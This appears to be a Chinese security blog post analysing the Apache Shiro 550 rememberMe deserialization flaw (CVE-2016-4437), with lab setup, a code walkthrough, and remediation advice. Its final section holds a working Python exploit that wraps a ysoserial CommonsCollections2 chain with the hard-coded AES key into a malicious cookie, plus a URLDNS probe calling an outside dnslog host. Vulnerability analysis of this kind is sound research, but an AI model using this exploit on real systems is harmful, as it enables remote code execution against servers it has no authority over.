Shiro 550 反序列化漏洞 详细分析+poc编写

0x00 前言

shiro反序列化漏洞这个从 shiro 550 开始,在2016年就爆出来, 但是到现在在各种攻防演练中也起到了显著作用

这个漏洞一直都很好用,特别是一些红蓝对抗HW的下边界突破很好用

遂研究一下这个漏洞的成因和分析一下代码

0x01 Shiro 550 漏洞描述

Apache Shiro RememberMe 反序列化导致的命令执行漏洞

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理

编号:Shiro-550, CVE-2016-4437

版本:Apache Shiro (由于密钥泄露的问题, 部分高于1.2.4版本的Shiro也会受到影响)

0x02 环境搭建

基础环境

编辑器:IDEA 2020

java版本:jdk1.7.0_80

Server版本 : Tomcat 8.5.56

shiro版本:shiro-root-1.2.4

组件:commons-collections4

搭建过程

如果闲配置麻烦,也可以直接用我弄好的GitHub地址

https://github.com/godzeo/shiro_1.2.4_sample.git

正常搭建

直接下载:

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

下载好以后直接解压

然后偷偷的进入samples/web目录,直接修改pom文件,主要修改下面这些

...
<dependencies>
    <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>jstl</artifactId>
        <!--  这里需要将jstl设置为1.2 -->
        <version>1.2</version>
        <scope>runtime</scope>
    </dependency>
.....
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
<dependencies>

然后部署,我就直接使用IEDA 部署了

Shiro 550 反序列化漏洞 详细分析+poc编写_第1张图片

坑点:

如果有使用maven打包搭建的话,可能遇到

Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:1.1:toolchain (default) on project samples-web: Misconfigured toolchains.

这应该是maven打包这里要1.6的环境,但运行不影响

需要修改 maven/conf/toolchains.xml 的代码:


    jdk
    
      1.6
      sun
    
    
      /Library/Java/JavaVirtualMachines/1.6.0.jdk
    

我们还需要产生payload的 ysoserial

ysoserial项目源码在这里https://github.com/frohoff/ysoserial ,然后自己编译, 也可直接下载编译好的release。

0x03 代码分析

简单介绍一下漏洞:

简单介绍利用:

  • 通过在cookie的rememberMe字段中插入恶意payload,

  • 触发shiro框架的rememberMe的反序列化功能,导致任意代码执行。

  • shiro 1.2.24中,提供了硬编码的AES密钥:kPH+bIxk5D2deZiIxcaaaA==

  • 由于开发人员未修改AES密钥而直接使用Shiro框架,导致了该问题

加密过程

找入口点的话,就是这个漏洞一直提的硬编码地方下手,然后稍微回溯就找到,我们也只需关注rememberMe这个处理就好了

首先找到/shiro-core-1.2.4.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class,该类位于shiro-core模块

我们发现了,我们最常见的,常常提到的的key,那么入口点可能在这里

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

Shiro 550 反序列化漏洞 详细分析+poc编写_第2张图片

  • 他是继承了RememberMeManager类,那么我们向上溯源:找到RememberMeManager类的onSuccessfulLogin方法,看名字就直接是登陆成功的处理
  • 那我们下一个断点,研究一下这个rememberme的加密和处理流程,是个什么原理

Shiro 550 反序列化漏洞 详细分析+poc编写_第3张图片

所以我们登陆一下,debug开启!记得要勾选Remember Me哦

Shiro 550 反序列化漏洞 详细分析+poc编写_第4张图片

然后我们收到数据了,直接步入跟进

Shiro 550 反序列化漏洞 详细分析+poc编写_第5张图片

转入了forgetIdentity函数,处理request和response请求,继续跟进this.forgetIdentity方法,进入了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EM2oRAEz-1599130237592)(…/Library/Application Support/typora-user-images/image-20200902102404236.png)]

继续跟进this.forgetIdentity方法,进入了getCookie的removeFrom方法,跟进removeFrom方法

this.getCookie().removeFrom(request, response);

image-20200902102418678

  • 这里获取看配置信息,最后addCookieHeader放到了返回包中的cookie头中,其中就有我们熟悉的,deleteMe字段和rememberMe字段,也就是我们指纹识别最简单的两种方法的原理

Shiro 550 反序列化漏洞 详细分析+poc编写_第6张图片

  • 然后这一阶段结束了,随后回到刚刚的onSuccessfulLogin方法中,这个isRememberMe主要是检查选择了remember me这个按钮没有,随后步入 rememberIdentity 方法,看看做了什么

Shiro 550 反序列化漏洞 详细分析+poc编写_第7张图片

在rememberIdentity方法中,authcInfo的值就是我们输入root用户名,继续跟进rememberIdentity函数

PrincipalCollection principals = this.getIdentityToRemember(subject, authcInfo);
this.rememberIdentity(subject, principals);

image-20200902103806491

进入rememberIdentity方法后发现,一个函数就是转化为bytes,跟进convertPrincipalsToBytes

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
    byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
    this.rememberSerializedIdentity(subject, bytes);
}

image-20200902104614572

  • 进入convertPrincipalsToBytes方法,发现它会序列化,而且序列化的是传入的root用户名
  • 后续跟进看了一下,就是普通的序列化,没有什么特殊的操作,就不继续写了
  • 然后调用encrypt方法加密序列化后的二进制字节
  • 这个必须得跟进看一下encrypt方法吧
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
    byte[] bytes = this.serialize(principals);
    if (this.getCipherService() != null) {
        bytes = this.encrypt(bytes);
    }

    return bytes;
}

发现CipherService cipherService = this.getCipherService(),就是获取密码服务的意思,那么看一下获取了这么,看一结果发现是AES加密方法,而且是AES/CBC/PKCS5Padding

protected byte[] encrypt(byte[] serialized) {
    byte[] value = serialized;
    CipherService cipherService = this.getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
        value = byteSource.getBytes();
    }

    return value;
}

Shiro 550 反序列化漏洞 详细分析+poc编写_第8张图片

那么下一句话就是:加密这个传入的数据的方法了。

再看这就话this.getEncryptionCipherKey(),明显这是获取秘钥了,直接跟进getEncryptionCipherKey

ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());

这个找key 就是在这个类中反复横跳,就可以找到,就详细看了:

this.encryptionCipherKey
setEncryptionCipherKey()
setCipherKey(byte[] cipherKey)---setEncryptionCipherKey()
this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES)

最终溯源到 getEncryptionCipherKey 就是开头中的 DEFAULT_CIPHER_KEY_BYTES,也就是我们一开始第一个提到的kPH+bIxk5D2deZiIxcaaaA==这个key

Shiro 550 反序列化漏洞 详细分析+poc编写_第9张图片

随后就传入 encrypt函数(root ,刚刚获取的key),这时就加密方法了!!!

public ByteSource encrypt(byte[] plaintext, byte[] key) {
    byte[] ivBytes = null;
  
   //生成初始化向量,随后 generate:TURE
    boolean generate = this.isGenerateInitializationVectors(false);

    if (generate) {
      	 
      	//产生初始化向量
        ivBytes = this.generateInitializationVector(false);
      
      	//异常,不会进入的
        if (ivBytes == null || ivBytes.length == 0) {
            throw new IllegalStateException("Initialization vector generation is enabled - generated vectorcannot be null or empty.");
        }
    }
		//再跟进就是更加具体的方法了,基本的加密逻辑已知 序列化root key 然后还有iv
    return this.encrypt(plaintext, key, ivBytes, generate);
}

加密后数据一直向上回溯,直到 rememberIdentity这个方法下有个 rememberSerializedIdentity方法要跟如,因为这个是记住序列化身份的功能

image-20200902113232687

跟如这个方法,就基本上到了加密的最后一步,把刚刚加密的数据base64,然后都加入到cookie里面

Shiro 550 反序列化漏洞 详细分析+poc编写_第10张图片

解密过程:

现在继续研究解密过程:

  • 首先确定切入点
  • 我选择从获取到客户端数据开始分析 ,那就是 org.apache.shiro.mgt.AbstractRememberMeManager 类的 getRememberedPrincipals 方法下断点
  • 随后在页面随便刷新一下,就可以触发这个方法

直接跟进 getRememberedSerializedIdentity(subjectContext) 方法,看看从数据中,都获取了什么

Shiro 550 反序列化漏洞 详细分析+poc编写_第11张图片

这个getRememberedSerializedIdentity方法中 有一个this.getCookie().readValue(request, response)

这是要读取cookice中的数据了,这必须跟入了

Shiro 550 反序列化漏洞 详细分析+poc编写_第12张图片

然后 readValue 方法,根据 Cookie 中的 name 字段(这个字段就是 rememberMe)获取 Cookie 的值

最终把获取cookie里面的rememberme 给到 value 返回上一级函数

Shiro 550 反序列化漏洞 详细分析+poc编写_第13张图片

回到getRememberedSerializedIdentity方法中,使用base64解密,成为二进制的数据,继续向上传递

byte[] decoded = Base64.decode(base64);
  • 再次回到AbstractRememberMeManager 类

  • 下一个流程就是 convertBytesToPrincipals 方法,这就是对应加密的解析数据,中间肯定要解密数据,继续跟入

    Shiro 550 反序列化漏洞 详细分析+poc编写_第14张图片

进入发现了 decrypt()函数,这就很明显就进行解密了,继续跟入

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (this.getCipherService() != null) {
        bytes = this.decrypt(bytes);
    }

    return this.deserialize(bytes);
}

Shiro 550 反序列化漏洞 详细分析+poc编写_第15张图片

详细看看decrypt解密函数:

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = this.getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }

        return serialized;
    }

getCipherService();老熟人了,获取加密方法:AES/CBC/PKCS5Padding

Shiro 550 反序列化漏洞 详细分析+poc编写_第16张图片

最后到这句话,获取老朋友AES的秘钥 getDecryptionCipherKey()后,带着秘文和AES公钥进入decrypt函数

ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());

跟进到了JcaCipherService的decrypt函数里面:分析一下里面的逻辑

public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
    byte[] encrypted = ciphertext;
    byte[] iv = null;
    if (this.isGenerateInitializationVectors(false)) {
        try {
            int ivSize = this.getInitializationVectorSize();
            int ivByteSize = ivSize / 8;
            iv = new byte[ivByteSize];
          	
          	//ivByteSize=16
          	//ciphertext这个数组 0-16位 覆盖到 iv数组 ,相当于给 vi赋值 ciphertext的前16位
            System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);
          
          	// 
            int encryptedSize = ciphertext.length - ivByteSize;
            encrypted = new byte[encryptedSize];
          	
           	// ciphertext数组 ,从 16位后面的数据 赋值给encrypted 
            System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
          
        } catch (Exception var8) {
            String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
            throw new CryptoException(msg, var8);
        }
    }
  //进入下一层解密
  return this.decrypt(encrypted, key, iv);
}

追随到 JcaCipherService 的 decrypt 方法中,继续跟入 crypt 方法

private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException {
    if (log.isTraceEnabled()) {
        log.trace("Attempting to decrypt incoming byte array of length " + (ciphertext != null ? ciphertext.length : 0));
    }

    byte[] decrypted = this.crypt(ciphertext, key, iv, 2);
    return decrypted == null ? null : Util.bytes(decrypted);
}

跑到 JcaCipherService 中的 crypt 方法

private byte[] crypt(byte[] bytes, byte[] key, byte[] iv, int mode) throws IllegalArgumentException, CryptoException {
    if (key != null && key.length != 0) {
      
   			//初始化cipher,再跟入就是 原生的 cipher.init 解密方法了
        Cipher cipher = this.initNewCipher(mode, key, iv, false);
      	// 基本完成解密
        return this.crypt(cipher, bytes);
    } else {
        throw new IllegalArgumentException("key argument cannot be null or empty.");
    }
}

解密完成,序列化操作

解密完成后,一步步的return回到上级函数,回到AbstractRememberMeManager 的 decrypt 方法,看一下数据 r00 开头 序列化的数据

Shiro 550 反序列化漏洞 详细分析+poc编写_第17张图片

向上return,看到deserialize 反序列化的方法了

Shiro 550 反序列化漏洞 详细分析+poc编写_第18张图片

一直跟进到 DefaultSerializer 的 deserialize方法中,见到了久违的 readObject()方法

Shiro 550 反序列化漏洞 详细分析+poc编写_第19张图片

0x04 编写POC EXP

本次AES加密的一些小知识点:

  • 某些加密算法要求明文需要按一定长度对齐,叫做块大小(BlockSize),我们这次就是16字节,那么对于一段任意的数据,加密前需要对最后一个块填充到16 字节,解密后需要删除掉填充的数据。
  • AES中有三种填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
  • PKCS7Padding跟PKCS5Padding的区别就在于数据填充方式,PKCS7Padding是缺几个字节就补几个字节的0,而PKCS5Padding是缺几个字节就补充几个字节的几,好比缺6个字节,就补充6个字节的6

加密流程就是:

  • 使用的 AES/CBC/PKCS5Padding 模式

  • random = this.ensureSecureRandom(); 使用随机数生成 ivBytes

  • key为预留的那个硬编码

  • encrypt(plaintext, key, ivBytes, generate) 生成

  • 最后base64加密,放入cookie中

解密流程可以知道:

  • 使用的 AES/CBC/PKCS5Padding 模式 ,所以Key要求是为16位的,key为预留的那个硬编码

  • base64解密cookie 中 rememberMe的值

  • 根据解密 vi 是 秘文的前16位

  • iv即为rememberMe解码后的前16个字节

  • 有了key 和 vi 就可以解密到反序列化的数据了

那POC的我们的加密流程就是:

  1. 获取到 反序列化的数据
  2. 设置AES加密模式,使用AES.MODE_CBC的分块模式
  3. 设置硬编码的 key
  4. 使用随机数生成 16 字节的 iv
  5. 使用 iv + AES加密(反序列化数据) 拼接
  6. 最后base64加密全部内容

利用思路

这里主要导入的是这个版本的apache.commons

org.apache.commons
commons-collections4
4.0

所以我们EXP利用CommonsCollections2 的利用链

主要依靠ysoserial生成利用的反序列化数据,然后根据加密的思路,把利用链加进去。

Python代码

import base64
import sys
import uuid
import subprocess

import requests
from Crypto.Cipher import AES


def encode_rememberme(command):
    # 这里使用CommonsCollections2模块
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)

    # 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
    BS = AES.block_size

    # 按照加密规则按一定长度对齐,如果不够要要做填充对齐
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    # 泄露的key
    key = "kPH+bIxk5D2deZiIxcaaaA=="

    # AES的CBC加密模式
    mode = AES.MODE_CBC

    # 使用uuid4基于随机数模块生成16字节的 iv向量
    iv = uuid.uuid4().bytes

    # 实例化一个加密方式为上述的对象
    encryptor = AES.new(base64.b64decode(key), mode, iv)

    # 用pad函数去处理yso的命令输出,生成的序列化数据
    file_body = pad(popen.stdout.read())

    # iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
    base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))

    return base64_rememberMe_value


def dnslog(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_rememberMe_value


if __name__ == '__main__':
    # cc2的exp
    payload = encode_rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
    print("rememberMe={}".format(payload.decode()))

    # dnslog的poc
    payload1 = encode_rememberme('http://ca4qki.dnslog.cn/')
    print("rememberMe={}".format(payload1.decode()))

    cookie = {
        "rememberMe": payload.decode()
    }

    requests.get(url="http://127.0.0.1:8080/web_war/", cookies=cookie)

0x05 修复

1.升级Shiro到最新版

2.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

3.WAF拦截Cookie中长度过大的rememberMe值

0x06 总结

本次是用ysoserial直接生成序列化内容,而且使用CommonsCollections2这个利用链,只是简单的直接利用,但是实际利用情况十分复杂,关乎java的版本还有各种组件的版本,想要一个完美的利用链还是得自己改造,准备下一篇文章,再研究各种利用链的情况,和改造各种利用链适配问题。

0x07 小trips:

如何搜索lib包里面的东西呢?

Shiro 550 反序列化漏洞 详细分析+poc编写_第20张图片

双击shift , 调出全局搜索框就可以搜索到 jar包里的类了

你可能感兴趣的:(代码审计)